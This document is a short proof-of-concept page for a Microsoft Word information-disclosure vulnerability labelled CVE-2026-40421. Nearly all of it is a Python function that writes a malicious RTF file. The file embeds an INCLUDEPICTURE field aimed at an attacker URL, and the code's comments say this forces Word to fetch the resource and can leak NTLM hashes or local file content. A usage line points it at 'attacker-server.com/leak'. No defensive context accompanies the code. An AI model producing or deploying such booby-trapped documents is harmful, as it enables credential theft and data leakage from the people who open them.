CVE-2026-40421 Microsoft Office Word 信息泄露漏洞

# Proof of Concept for CVE-2026-40421 # Creates a malicious RTF file exploiting external path control def generate_malicious_rtf(output_file, attacker_url): # RTF header rtf_header = r"{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}" rtf_header += r"{\*\generator Riched20 26.0.0.0;}\viewkind4\uc1\pard\f0\fs24 " # Payload: External control of file name/path # Using INCLUDEPICTURE to force Word to fetch a resource from attacker_url # This can leak NTLM hashes or local file content depending on configuration payload = r"{\field{\*\fldinst INCLUDEPICTURE \"" + attacker_url + r"\" \\d }}" rtf_footer = r"\par}" with open(output_file, 'w') as f: f.write(rtf_header + payload + rtf_footer) # Usage example: # generate_malicious_rtf('exploit.rtf', 'http://attacker-server.com/leak')